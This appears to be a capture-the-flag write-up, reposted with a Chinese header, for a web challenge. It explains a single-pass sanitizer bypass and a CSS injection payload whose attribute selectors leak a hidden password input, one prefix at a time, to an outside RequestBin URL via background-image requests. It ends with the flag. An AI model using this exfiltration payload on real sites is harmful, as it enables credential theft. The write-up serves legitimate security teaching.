点击此处获得更好的阅读体验
WriteUp来源
https://dunsp4rce.github.io/csictf-2020/web/2020/07/22/The-Confused-Deputy.html
by shreyas-sriram
题目描述
Wow that's a pretty color! Don't you think? Pick your favourite and show it to the admin on /admin.
题目考点
解题思路
There are two input field :
hidden inputwithvalue=<password>visible inputwhere users can enter a colorThe entered input colors are sanitized and gets reflected in the
<style>tag
1 | <style> .show {background-image: none; background-color: ${sanitized(input)}}</style> |
- The sanitization is done only once, so it can be bypassed by using the following payload
1 | <><malicious-payload> |
The santization removes
<>and returns<malicious-payload>This is a case of
DOM-based XSS, but XSS didn't execute on trying various payloadsThen trying
CSS Injectionand using a RequestBinURL, it is possible to extract the password from thehidden inputfield
Payload
1 | #000000;} input[type="password"][value^="<value-x>"] {background-image: url('https://<RequestBinURL>/<value-x>'); |
Payload Explanation
#000000;}:Closes the existing style element
input[type="password"][value^="<value-x>"] {background-image: url('https://<RequestBinURL>/<value-x>');:Creates a new style element for
inputtag whosetype=passwordandvaluebegins with<value-x>If the conditions satisfy, then a request is sent to the mentioned URL -
https://<RequestBinURL>/<value-x>The entire password can be enumerated using the explained method
Use
Burp Intruderor write a script to automate the process
Flag
1 | csictf{cssxss} |